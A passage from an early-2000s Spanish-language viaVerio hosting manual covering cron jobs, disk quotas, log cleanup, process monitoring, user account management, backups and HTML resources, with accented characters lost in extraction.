# Esto es un comentario. SHELL=/bin/csh MAILTO=johndoe@su_empresa.com 5 22 14 1-4 * mail -s "Sus impuestos vencen el 15 de abril." juan@su_empresa.com%Juan,%%Complete sus declaraciones de impuestos!%
Nota: No presione Enter al final de una lnea en los comandos cron, porque las lneas se acomodan solas. Si presiona Enter, cron lo interpretar como el final del comando cron. Ejemplo de cron para borrar registros mensualmente:

MAILTO=johndoe@su_empresa.com 1 3 * * * /usr/local/bin/virtual /usr/local/bin/vnukelog -r


Observe el uso del comando virtual en el ejemplo. El comando virtual se usa para ejecutar scripts desde el directorio raz del usuario. Es importante destacar que los trabajos CRON no se ejecutan en el entorno del Servidor Virtual. Por el contrario, se ejecutan en el entorno del servidor fsico, pero bajo el ID de Usuario del Servidor Virtual (un nmero especial que hace el seguimiento de los usuarios, los archivos y los procesos que les pertenecen). Por ese motivo, cuando intente ejecutar scripts o programas desde cron, debe incluir la ruta completa al script. Esto incluye la ruta a su directorio raz. Por ejemplo, si el usuario de Telnet fuera juan, la ruta al directorio raz sera /usr/home/juan/. Esta es la ruta desde la estructura de archivos raz del servidor fsico. Ejemplo de cron para notificar el envo de informacin por correo ocasionalmente a Juan:

01 09 14,30 1,3,5,7,8,10,12 * cat $HOME/etc/ cron file/my_ cron _file | /usr/bin/mail -s "Aqu va el mensaje" juan@su_empresa.com
Ejemplo de cron para automatizar stats con getstats:

40 19 * * * /usr/local/bin/getstats -d -f | /usr/bin/mail -s "HTTP Daily stats" juan@su_empresa.com

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

169

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Administracin de la capacidad
Cada Servidor Virtual tiene un lmite de capacidad que controla la cantidad de espacio en disco que puede usar en el servidor fsico. La cantidad de espacio en disco asignada depende del tipo de Servidor Virtual. Si bien es posible aumentar el lmite de su Servidor Virtual en cualquier momento comprando ms espacio en disco, no siempre es necesario hacerlo cuando se llega al lmite de capacidad. Es muy comn que los archivos de registro del Servidor Virtual consuman un espacio excesivo. Estas cuestiones se analizan ms adelante en este captulo.

Ejemplo del comando Quota


Para verificar la cantidad de espacio en disco que est usando el Servidor Virtual, conctese mediante Telnet y desde la lnea de comandos escriba:

% quota Disk quotas for user juan (uid 11487): Filesystem blocks quota grace /usr 57750 80030 limit grace files quotalimit 255 55000

281600 309760

Definicin de salida del comando quota


Columna Sistema archivos Descripcin Indica que quota est verificando los archivos que usted posee en /usr volume. Tambin posee archivos en /backup volume pero esos no se computan para la capacidad. Los bloques indican el espacio que se est usando actualmente (80030x1024). El espacio en disco permitido para un Servidor Virtual indicado en bloques. Este servidor tiene 275 MB predeterminados (281600/1024=275). Quota es la capacidad, es decir que el servidor sigue funcionando cuando llega a ese nivel. Se refiere a un lmite, es decir, el servidor ya no graba nada en el disco una vez que se supera el lmite. Cada Servidor Virtual tiene permitido un exceso del 10% (275+27.5=302.5 | 302.5*1024=309760) de su capacidad (quota) antes de llegar al lmite. El perodo de gracia es el tiempo permitido, cuando se pasa la capacidad, antes de que se llegue al lmite. El perodo de gracia es de 7 das. Se puede pasar la capacidad y seguir funcionando siempre que no se supere en un 10% o ms por ms de 7 das. El lmite de capacidad tambin depende de la cantidad de archivos que tenga y la cantidad de espacio en disco. Actualmente le damos 200 archivos por MB (275*200=55000). El lmite de archivos tiene una capacidad y un perodo de gracia que funcionan de la misma manera que el lmite de capacidad de espacio en disco.

Bloques Capacidad (Quota)

Lmite

Gracia

Archivos

Nota: Cuando se super la capacidad, es necesario actuar antes de llegar al lmite.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

170

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Superacin de la Capacidad debido a los archivos de registro


El servidor mantiene archivos de correo electrnico, FTP y registros web. En un servidor activo, los registros crecen rpidamente. Para no superar el lmite debido a los archivos de registro, configure un archivo cron para que le enve por correo los registros necesarios y luego destruya los registros. Consulte la seccin Administracin con cron precedente. Eliminacin de archivos de registro En la lnea de comandos, ingrese el comando vnukelog r. Se eliminarn los siguientes archivos:

~/usr/log/messages (es el archivo de registro para correo electrnico, FTP e ingresos) ~/www/logs/error_log ~/www/logs/access_log
Eliminacin de archivos de registro de subhost En la lnea de comandos, ingrese el comando vnukelog -d NombreServidor (donde NombreServidor es el nombre especificado en la directiva ServerName del host virtual para el subhost cuyos archivos de registro desea eliminar). Se eliminarn los archivos de registro definidos para el subhost especificado.

Administracin de lmites de capacidad de subhost


El comando usado para mantener los registros de los subhosts es vnukelog. Este comando lee el archivo httpd.conf , busca subhosts con archivos de registro y lista esos archivos, para decidir cules borrar usando vnukelog. Visualizacin del uso de disco En la lnea de comandos, escriba:

% cd % vdiskuse | more
Nota: vdiskuse lista el consumo de los directorios y archivos desde el directorio actual.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

171

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Administracin de la carga del servidor virtual


Cada Servidor Virtual tiene asignada su parte de los recursos del servidor fsico. Esta asignacin de recursos evita que un Servidor Virtual se abuse del rendimiento del servidor fsico o de otro Servidor Virtual en el mismo servidor fsico. Para obtener un rendimiento excelente y constante en el Servidor Virtual, es muy importante administrar la carga que se le pone. El trmino carga se refiere a la utilizacin de los siguientes componentes: Memoria CPU Archivos abiertos Procesos

Cada Servidor Virtual necesita lmites. Gracias a estos lmites, ningn Servidor Virtual podr abusarse del rendimiento del servidor fsico. Verificacin de la carga del Servidor Virtual Desde la lnea de comandos, escriba:

% top
El comando top muestra tanto los totales acumulados del servidor fsico como los de su Servidor Virtual. Promedio de carga Cantidad de procesos Uso de CPU Uso de memoria

Ejemplo de comando "Top"


Ejemplo de lo que se obtiene al ejecutar el comando top: last pid: 89301; load averages: up 14+03:11:06 08:02:06 12 processes: 0.06, 0.02, 0.00

1 running, 11 sleeping

CPU states: 34.6% user, 0.0% nice, 15.2% system, 0.8% interrupt, 49.4% idle Mem: 325M Active, 52M Inact, 94M Wired, 12M Cache, 59M Buf, 7720K Free Swap: 512M Total, 69M Used, 443M Free, 13% Inuse PID USERNAME PRI NICE WCPU CPU COMMAND 89218 trout 28 0.89% 0.73% top 0 SIZE 1396K 2156K 2212K 2212K RES STATE 1000K RUN 392K pause 932K accept 936K accept TIME 0:01 0:01 0:00 0:00

3863 trout 18 0 0.00% 0.00% httpd 95617 trout 2 0.00% 0.00% httpd 92567 trout 2 0.00% 0.00% httpd
Captulo 8: Mantenimiento del Servidor Virtual

0 0

172

COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

14464 trout 2 0.00% 0.00% httpd 89179 trout 18 0.00% 0.00% tcsh

0 0

2212K 1312K

936K accept 824K pause

0:00 0:00

Definicin de terminologa top


Trmino PID USERNAME PRI Definicin Nmero de ID de proceso. Cada proceso tiene un PID exclusivo. Usuario que est ejecutando el proceso. Prioridad. Algunos procesos son ms importantes que otros o necesitan esperar la informacin proveniente de otros procesos. La prioridad es la forma kernel de determinar qu proceso obtiene tiempo del procesador primero. La amabilidad de un programa. Un nmero que se puede especificar de 0 a 20. Por ejemplo, un programa con un valor NICE de 10 cede a muchos otros programas acceso al tiempo del procesador antes que l. Bsicamente modifica la asignacin de prioridades del kernel. Tamao total de un proceso, incluyendo la memoria y el tamao del programa actual. La cantidad real de recursos en uso (en general, memoria). Suele ser menos que SIZE. Puede reflejar la cantidad de memoria que est en uso. El estado indica qu es lo que el proceso est haciendo. Por ejemplo, esperando algo (sleeping), corriendo, o sondeando (verificando si se cumpli una condicin de entrada). La cantidad de tiempo de procesamiento usada por el proceso. De los procesos que esperan la CPU, este proceso tiene este porcentaje de ellos. (Consulte man top para ver los detalles tcnicos.) Porcentaje de todo el tiempo de CPU disponible que el proceso est usando. El programa que se est ejecutando.

NICE

SIZE RES

STATE

TIME WCPU

CPU COMMAND

Mientras ejecuta top, puede hacer otras tareas, que se describen a continuacin: Aumentar la cantidad de procesos listados Mientras se ejecuta top, presione "n" Matar un proceso 1. 2. Mientras se ejecuta top, presione "k" Escriba el ID de proceso (PID)

La columna de la izquierda almacena el PID. Puede matar varios procesos ingresando varios PID en una lnea, separados por espacios. Nota: Tenga cuidado al matar un proceso. La nica vez que debera matar un proceso es cuando est colgado y consumiendo los recursos.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

173

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Memoria y procesos
Un proceso es un programa que est corriendo, durmiendo o esperando. Por ejemplo, cuando la web recibe un hit, HTTPD usa un proceso. Si los programas que tiene en ejecucin exceden la memoria que usted tiene asignada, usted estara cerrando su propio Servidor Virtual. Por ejemplo, si tiene un Servidor Virtual A con un servidor RealAudio ejecutndose, slo tendr la mitad de la memoria asignada disponible para otros procesos, porque RealAudio usa cuatro MB de la memoria disponible. Verificacin de procesos Desde la lnea de comandos:

% ps
Por ejemplo, si desea verificar los procesos que empiezan con POP, escriba:

% ps ax | grep pop
Cmo matar un proceso:

% ps -ax | grep pop % kill pid_number

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

174

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Administracin de los usuarios


El administrador del Servidor Virtual es responsable de lo siguiente: Dar altas de usuarios Dar bajas de usuarios Modificar perfiles de usuario

Los siguientes comandos se utilizan para trabajar con los usuarios y sus perfiles. Cada comando se explica en detalle en este captulo: vadduser vlistuser vrmuser vpasswd Alta y modificacin de usuarios. Lista todos los usuarios del Servidor Virtual. Baja de usuarios. Cambia la clave del usuario.

Alta de usuarios con vadduser


1.

Va Telnet y desde la lnea de comandos, escriba vadduser. Esta accin muestra una serie de campos a completar comenzando con el siguiente ejemplo de comando:

% vadduser Por favor responda las preguntas a continuacin. Cuando este disponible una respuesta predeterminada, sta aparecer entre corchetes a continuacin de la pregunta. Por ejemplo, la pregunta: Cul es su color favorito? [azul]: tiene la respuesta predeterminada azul. Simplemente acptela (sin tener que escribir) presionando la tecla Enter, o escriba su respuesta y luego presione <Enter>. Use la tecla <Backspace> para borrar y corregir errores en las respuestas, antes de presionar <Enter>. En general, una vez que se presiona <Enter> se pasa a la siguiente pregunta. Una vez que respondi todas las preguntas, tendr la posibilidad de modificar sus opciones antes de que se actualicen los archivos.

Presione <Enter> para continuar:


2. 3. 4. Escriba el nombre de usuario. Use un mximo de hasta 8 caracteres, sin utilizar . ni :. Escriba la clave del usuario de correo electrnico o de FTP. Vuelva a escribir la nueva clave.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

175

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

5. 6.

Escriba el nombre completo del usuario y despus presione Enter. Use 80 caracteres como mximo, sin utilizar . ni :. Seleccione los servicios que la cuenta requiera. Las opciones predeterminadas son ambas: FTP y correo electrnico. O escriba el nombre del servicio (FTP o correo electrnico) que desee deseleccionar para la cuenta. o o FTP (File Transfer Protocol) para subir y/o bajar archivos Servicios de correo electrnico que incluyen POP, IMAP y SMTP

Nota: Si a la cuenta del usuario se accediera Va IMAP, esta debe estar habilitada con el servicio de FTP. 7. 8. 9. Ingrese una respuesta afirmativa o negativa a la pregunta Quiere asignarle un Lmite de espacio determinado a la cuenta? (quotas) Ingrese la cantidad de MB para esta cuenta (ingrese 0 es sin lmite). Ingrese una respuesta numrica a la siguiente pregunta: Dnde quiere colocar el directorio raz del usuario? Puede colocarlo en una de las cuatro opciones que se le presentan o bien en la ubicacin que desee. La siguiente tabla describe brevemente cada ubicacin. Ejemplo /usr/home/nombreusuario /usr/local/etc/httpd/htdocs/nom breusuario /usr/local/etc/httpd/htdocs/vho sts/nombreusuario /ftp/pub/ nombreusuario /usr/local/etc/httpd/htdocs/vho sts/algn_directorio/ nombreusuario

Descripcin Directorio raz para una cuenta de correo electrnico Directorio de la cuenta alojada en el web principal Directorio de la cuenta alojada de forma virtual Directorio raz para FTP annimo Otra ubicacin que usted elija

o o o

Ingrese "1" si la opcin elegida es un directorio raz para una cuenta de correo electrnico. Ingrese "2" si la opcin elegida es un directorio de cuenta alojada en el web principal. Ingrese "3" si la opcin elegida es una cuenta alojada de forma virtual. Recomendamos usar esta opcin por dos motivos. El primero es que FrontPage 2000 as lo exige. El segundo es que el directorio vhosts es una ubicacin ordenada donde pueden residir cada uno de sus directorios de usuarios subalojados. Cada uno est bien separado, se distingue de los dems y es seguro. Ingrese "4" si la opcin elegida es un directorio raz para FTP annimo. Ingrese la ruta que desee.

o o

Nota: La ejecucin del script vadduser es directa, con una excepcin: los servicios de cuenta (FTP y correo electrnico). Estos servicios se agregan a la cuenta de cada usuario en forma predeterminada. Si usted quiere que el usuario tenga privilegios tanto de FTP como de correo electrnico, presione Enter cuando se le pide aceptar las configuraciones predeterminadas. Para que el usuario tenga slo privilegios FTP, deseleccione los privilegios de correo electrnico ingresando mail. Para que el usuario tenga slo privilegios de correo, deseleccione los privilegios FTP ingresando ftp. Si necesita agregar un servicio que no figura en la lista entre corchetes ([ ]), escriba el servicio (correo electrnico o FTP) y presione Enter.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

176

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Por ejemplo, si Mara Prez tiene el nombre de cuenta mara y el nombre de dominio asociado a su Servidor Virtual es su_empresa.com, entonces la direccin de correo electrnico de Mara ser: maria@su_empresa.com. Nota: (quota) El Lmite de espacio Va FTP determina lo que puede consumir todo el rbol del directorio raz de un usuario y sus archivos. Este lmite es solamente es eficaz cuando se usa el FTP para subir los archivos. El Lmite del correo determina el espacio que puede consumir el archivo de correo de un usuario bajo ~/usr/mail. Cada uno se expresa como un entero decimal de megabytes (MB) de espacio en disco. Modificacin de un usuario existente con vadduser 1. 2. 3. Ejecute vadduser nuevamente Especifique el nombre de usuario vadduser detecta el usuario por el nombre y luego le pregunta si quiere modificar la cuenta del usuario. Complete los campos vadduser respondiendo las preguntas.

Lista de usuarios vlistuser Lista los usuarios dados de alta en el Servidor Virtual, indicando nombre, id de usuario, directorio raz y lmites de capacidad de correo electrnico / FTP.

Baja de usuario vrmuser Da de baja a un usuario del Servidor Virtual. Para ejecutar vrmuser, escrbalo en la lnea de comandos va Telnet.

Cambio de clave de usuario vpasswd Cambia la clave del usuario. Para ejecutar vpasswd, escriba vpasswd nombreusuario en un prompt de Telnet.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

177

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Copias de resguardo - Backups


La estructura de directorios del Servidor Virtual se copia todas las noches a backup/home/usuario. Antes de hacer la copia, el contenido de /backup/home/usuario se comprime en un archivo tar que tambin se archiva en cinta. Para facilitar la recuperacin de los archivos desde las distintas ubicaciones, existe un utilitario llamado getback. Para recuperar un archivo con getback, conctese al Servidor con Telnet, cambie al directorio donde est ubicado el archivo y luego ingrese getback nombrearchivo o getback nombredirectorio. Aparecer una lista de las fechas y horas disponibles en /backup/home, /usrbackup y en cinta. Para recuperar algunos archivos ms antiguos hay que pagar un cargo extra, en ese caso, getback mostrar la palabra fee en la lnea.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

178

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Resolucin rpida de problemas


El administrador del Servidor Virtual deber resolver los errores y problemas que puedan producirse ocasionalmente. Si bien en este captulo ya se mencionaron muchos de los pasos de resolucin rpida de problemas, los repasaremos en esta seccin.

Verificacin de capacidad
Recuerde, cuando se llega al lmite duro de la capacidad, no es posible grabar nada en el disco. No se aceptan los correos electrnicos, no se escriben los registros, no se completan las instalaciones y no se archivan los libros de visitas y formularios. Existe una capacidad (que puede excederse temporariamente y un lmite (que nunca debe excederse), con un perodo de gracia en el medio que le da tiempo de arreglar el problema. Si excede el lmite puede usar los comandos vnukelog y vdiskuse (ambos mencionados ms arriba en este captulo) para solucionar el problema. Nota: Si edita los archivos habiendo superado el lmite de capacidad, corre el riesgo de borrar el archivo de claves.

Verificacin de archivos de registro


Los errores y mensajes del sistema se registran en los archivos de registro del Servidor Virtual. Si est teniendo problemas con el correo electrnico o FTP, verifique el archivo ~/usr/log/messages. Cuando los usuarios informan problemas de correo electrnico o FTP, primero hay que verificar el lmite de capacidad y luego el archivo de mensajes. Muchas veces el error que informa el usuario es un error de la computadora cliente. Al verificar el archivo ~/usr/log/messages se tendr informacin ms precisa sobre el error. Es sumamente til usar el comando tail para ver los mensajes a medida que se agregan al registro. De esta forma, puede ver lo que se agrega al registro a medida que el usuario duplica el error. Para hacerlo, realice lo siguiente: 1. 2. 3. Conctese al Servidor Virtual mediante Telnet. Desde la lnea de comandos, escriba:

% tail -f ~/usr/log/messages
Pida al usuario que repita el error mientras ejecuta el comando tail. Los errores que los usuarios obtienen al visitar su sitio web quedan registrados en el archivo ~/www/logs/error_log. Una vez ms, el error en el navegador tal vez no d toda la informacin til, pero los mensajes especficos podrn encontrarse en el registro de errores. Puede usar el comando tail para ver el registro mientras repite el error.

Verificacin de los procesos


Si obtiene errores, verifique los procesos que se estn ejecutando actualmente. Use los comandos top y ps para verificar los procesos en marcha. Puede ser que haya un CGI que no se haya cerrado correctamente y est usando toda la capacidad del Servidor Virtual. Ocasionalmente, el proceso de correo electrnico puede colgarse cuando la conexin de un usuario es interrumpida incorrectamente. Al verificar top, fjese cunto tiempo hace que se est ejecutando un proceso. Si no responde y se est ejecutando desde hace un rato largo, tal vez se haya colgado y le est ocasionando problemas.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

179

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Contacte a soporte tcnico si, despus de haber probado todos los recursos mencionados, sigue encontrando fallas. El soporte tcnico podr darle los detalles de lo que se hizo para resolver el problema, as usted podr guardar la informacin para referencia futura. Consulte, adems, el sitio de viaVerio, que ofrece una amplia librera de soporte con cientos de pginas dedicadas al soporte del Servidor Virtual.

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

180

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Informacin adicional
Si desea informacin adicional sobre los temas tratados en este captulo, consulte las siguientes pginas en el sitio de viaVerio.

Anlisis de registros - analog


http://www.viaverio.com/support/addonhelp/stats/analog/install.html

Anlisis de registros - http-analyze


http://www.viaverio.com/support/addonhelp/stats/http-analyze/install.html

Anlisis de registros - The Webalizer


http://www.viaverio.com/support/addonhelp/stats/webalizer/index.html

Anlisis de registros - WebTrends


http://www.webtrends.com

Captulo 8: Mantenimiento del Servidor Virtual


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

181

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Apndice A: Productos Complementarios


La flexibilidad del Servidor Virtual le permite ampliar su funcionalidad con todo tipo de aplicaciones adicionales. Ofrecemos una variedad de software complementario que puede instalarse con rapidez y facilidad. La mayor parte de esos productos son desarrollados y mantenidos por terceros, pero tienen soporte total en nuestros Servidores Virtuales. Ms an, muchos de estos programas son totalmente sin cargo. Nota: Como constantemente se estn desarrollando productos complementarios, no todos estn descriptos en este apndice. La lista completa puede verse en el sitio web de viaVerio. En este apndice se describen los siguientes productos complementarios: Comercio electrnico Herramientas de desarrollo web Soluciones de base de datos Aplicaciones multimedios Analizadores de trfico de sitio web Extensiones de correo electrnico Librera CGI

Apndice A: Productos Complementarios


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

182

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Comercio electrnico
Nuestras aplicaciones de comercio electrnico (e-commerce applications) le permiten brindar un entorno de transacciones seguras, as como crear y administrar su frente de tienda y procesar los pagos en lnea. SSL & Digital Certificates* Miva Merchant* Mercantec Softcart* Cybercash AuthorizeNet

Aplicaciones multimedios
Haga ms atractivo su sitio web con efectos audiovisuales: RealServer (se requiere licencia para computadora cliente) Shockwave Flash

Analizadores de trfico de sitio web


Los analizadores de trfico le brindan informacin valiosa sobre su sitio y los usuarios que acceden a l. WebTrends (se requiere licencia para computadora cliente) Analog http-analyze The Webalizer

Herramientas de desarrollo web


Microsoft FrontPage 2000 PHP Miva Compiladores para C, C++ y Java Perl, Tcl, Python, y programas UNIX shell

Extensiones de correo electrnico


Ofrecemos una amplia variedad de utilitarios de correo eletrnico. Pretty Good Privacy (PGP) Majordomo (software de lista de correo) Procmail (filtro y director de correo) E-mail Autoreply TWIG (correo y calendario basados en web) VNews (servidor de noticias locales

Soluciones de base de datos


Ofrecemos tres motores de bases de datos relacionales SQL: mSQL MySQL PostgreSQL

Librera CGI
La CGI Library incluye una variedad de scripts, entre otros: utilitarios de bsqueda de sitio web, libro de invitados, etc. *Productos con cargo. Consulte nuestra web para ver los precios.

Apndice A: Productos Complementarios


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

183

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Apndice B: Creacin de Contenido para la Web


Uno de los primeros pasos para crear una presencia en Internet es el diseo del contenido del sitio web. Producir contenido innovador y al mismo tiempo informativo y fcil de usar es un verdadero desafo. En este apndice explicamos cmo comenzar y le damos los recursos para que pueda crear sitios web que la gente quiera visitar. Consulte adems la seccin Publicacin de contenido web del Captulo 3. Este apndice cubre los siguientes temas: Creacin de pginas web Libros sobre HTML Referencias en lnea y guas de estilo HTML Editores y herramientas HTML

Apndice B: Creacin de Contenido para la Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

184

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Creacin de pginas web


Usted puede optar por crear las pginas web usted mismo o contratar el servicio. Esta seccin describe cmo funciona una pgina web. El contenido web se define con HyperText Markup Language o HTML. HTML utiliza instrucciones, o marcas, incorporados en un documento, que definen cmo se muestra. Por ejemplo, si una palabra u oracin determinada tiene que aparecer en negrita, habr que encerrarla entre marcas.

<bold>El gil zorro salt sobre el perro haragn.</bold>


Cuando un navegador analiza el documento, busca marcas especficas por nombre. En el ejemplo, la frase El gil zorro salt sobre el perro haragn se muestra en negrita. Las marcas de hipertexto normalmente no son reveladas por el navegador, y se muestran slo si alguien ve el cdigo fuente del documento. Muchos navegadores tienen la opcin de ver el cdigo fuente del documento. Nota: La utilizacin de las marcas no se restringe al contenido web. Todas las herramientas de procesamiento de texto usan algn tipo de marcacin, por ejemplo, TM WordPerfect . El comando de WordPerfect Mostrar Cdigos nos permite ver las marcas (caracteres no imprimibles que definen el formato del documento). Sin embargo, es importante entender las diferencias entre los cdigos que se pueden encontrar en un paquete de software y las marcas de HyperText Markup Language. Mientras que en los paquetes de software lo que se ve es lo que hay ("What You See Is What You Get" / WYSIWYG), HTML no es lenguaje WYSIWYG. En cambio, los elementos de un documento se marcan como entidades lgicas, por ejemplo, ttulos, prrafos, encabezados, listas y citas. Cada navegador luego interpreta estas entidades y muestra el contenido a su modo. Por ejemplo, un navegador grfico como Netscape Navigator o Microsoft Internet Explorer interpreta una pgina en forma distinta de un navegador slo texto, como lynx o Braille. A pesar de que cada navegador presenta la misma informacin en forma diferente, todos transmiten y preservan los elementos lgicos, gracias a la gran flexibilidad de HTML. HTML es extensible, es decir que continuamente se agregan nuevas caractersticas y marcas acompaando su evolucin. La primera definicin de HTML se llam Versin 1 o HTML 1.0. Rpidamente evolucion a la Versin 2, conocida como HTML 2.0. Todos los navegadores, como mnimo, dan soporte a HTML 2.0. Despus de HTML 2.0, la proliferacin de marcadores especficos de cada proveedor (como los de Netscape o Microsoft) de alguna manera complicaron y confundieron el avance de un estndar HTML. Sin embargo, algunos de los marcadores especficos, as como muchos otros nuevos marcadores, se combinaron para formar un nuevo estndar HTML, conocido como HTML 3.2. Al momento de redactarse este manual, la versin ms reciente es HTML 4.0.

Apndice B: Creacin de Contenido para la Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

185

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Libros sobre HTML


Antes de empezar a experimentar con HTML, debera tener por lo menos un buen libro sobre HTML en su biblioteca. Los libros son recursos inmediatamente disponibles que se pueden consultar cuando se plantean preguntas o problemas con el diseo en HTML. Probablemente existan cientos de libros sobre la materia, que describen los marcadores HTML. A continuacin se recomiendan dos: The HTML Sourcebook, Fourth Edition: A Complete Guide to HTML 4.0 and HTML Extensions Autor: Ian S. Graham Editorial: John Wiley & Sons, Inc. URL: http://www.wiley.com/compbooks/graham/html4ed/ http://www.amazon.com/exec/obidos/ASIN/0471257249/ HTML: The Definitive Guide, 3rd Edition Autores: Chuck Musciano & Bill Kennedy Editorial: O'Reilly and Associates, Inc. URL: http://www.oreilly.com/catalog/html3/ http://www.amazon.com/exec/obidos/ASIN/1565924924/ A medida que HTML fue evolucionando, el lenguaje y sus extensiones (por ejemplo, hojas de estilo y lenguajes script) se volvieron ms complejas. Recomendamos los siguientes libros sobre hojas de estilo y lenguajes script: Dynamic HTML: The Definitive Reference Autor: Danny Goodman Editorial: O'Reilly and Associates, Inc. URL: http://www.oreilly.com/catalog/dhtmlref/ http://www.amazon.com/exec/obidos/ASIN/1565924940/ JavaScript: The Definitive Guide, 3rd Edition Autor: David Flanagan Editorial: O'Reilly and Associates, Inc. URL: http://www.oreilly.com/catalog/jscript3/ http://www.amazon.com/exec/obidos/ASIN/1565923928/ The HTML Stylesheet Sourcebook: A Complete Guide to Designing and Creating HTML Stylesheets Autor: Ian S. Graham Editorial: John Wiley & Sons, Inc. URL: http://www.wiley.com/compbooks/graham/style/ http://www.amazon.com/exec/obidos/ASIN/0471196649/

Apndice B: Creacin de Contenido para la Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

186

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Referencias en lnea y guas de estilo HTML


Las referencias HTML en lnea constituyen un excelente recurso para principiantes y una cmoda gua para los desarrolladores ms experimentados. Las siguientes URL son slo algunas de las referencias HTML disponibles en la Internet. Sin embargo, muchas de estas URL luego hacen referencia a otros sitios que contienen informacin adicional. Adems, algunos de los sitios enumerados a continuacin tienen sus correspondientes libros, y en ese caso tambin se incluyeron las URL de los libros. A Beginner's Guide to HTML Autor: National Center for Supercomputing Applications (NCSA) URL: http://www.ncsa.uiuc.edu/General/Internet/WWW/HTMLPrimer.html

Resumen del sitio (cita del sitio): Muchos usan la gua NCSA Beginner's Guide to HTML como punto de partida para entender el hypertext markup language (HTML) usado en la web. Es una introduccin y no pretende ofrecer instrucciones sobre cada aspecto de HTML. Al final de la gua figuran los links con recursos adicionales basados en web sobre HTML y otros aspectos del armado de archivos. Introduction to HTML and URLs Autor: Ian S. Graham URL: http://www.utoronto.ca/webdocs/HTMLdocs/NewHTML/intro.html

Resumen del sitio (cita del sitio): Esta recopilacin de documentos HTML explica cmo usar los distintos elementos, o marcas, de descripcin de documentos HTML para escribir documentos HTML bien diseados. Creating Killer Web sites Autor: David Siegel URL: http://www.killersites.com http://www.amazon.com/exec/obidos/ASIN/1568304331/ Resumen del sitio (cita de amazon.com): Creating Killer Web Sites, una gua de estilo ms que una gua HTML, trata sobre la construccin de sitios de tercera generacin, concebidos desde el diseo y no desde la capacidad tecnolgica. Siegel y sus asistentes del Studio Verso repasan una variedad de temas, que incluyen la historia de los navegadores, cmo usar marcadores HTML especficos, cmo seleccionar herramientas de software y consejos sobre diseo puramente esttico. Web Pages That Suck Autores: Vincent Flanders & Michael Willis URL: http://www.webpagesthatsuck.com http://www.amazon.com/exec/obidos/ASIN/078212187X/

Apndice B: Creacin de Contenido para la Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

187

Manual para Servidores Virtuales

viaVerio (http://www.viaverio.com/)

Resumen del sitio (cita de amazon.com): A menos que uno sea un superdotado, la mejor forma de aprender bien un oficio es conocer no slo sus fundamentos sino tambin sus trampas. Web Pages That Suck le ensea el buen diseo, sealando sitios desagradables, desorientados e imprecisos, los sitios que carecen de grficos buenos y contenido bien enfocado. Como los autores muestran todo tipo de pginas corporativas y personales, le ayudan a determinar su pblico objetivo, disear el sitio y sus elementos de navegacin y contenido, y resolver problemas de grfico y texto. Yahoo! Directory http://www.yahoo.com/Computers_and_Internet/Internet/World_Wide_We b/Page_Creation http://www.yahoo.com/Arts/Design_Arts/Graphic_Design/Web_Page_Design_and_La yout/

Visualizacin de cdigo fuente


Una de las mejores formas de aprender HTML es visualizar el cdigo fuente de los documentos creados por otros. Cuando est navegando por la Internet y se encuentre con algn elemento de diseo o formato que le llame la atencin, visualice el cdigo fuente de la pgina (o marco) para ver cmo se logr. Los navegadores ms conocidos, como Netscape Navigator y Microsoft Internet Explorer incluyen la opcin de visualizar el cdigo fuente del documento como un tem del men o como un men desplegable. Seguramente encontrar notificaciones de copyright que le recomendamos respetar.

Apndice B: Creacin de Contenido para la Web


COPYRIGHT 1995-2001 VERIO INC. TODOS LOS DERECHOS RESERVADOS.

188

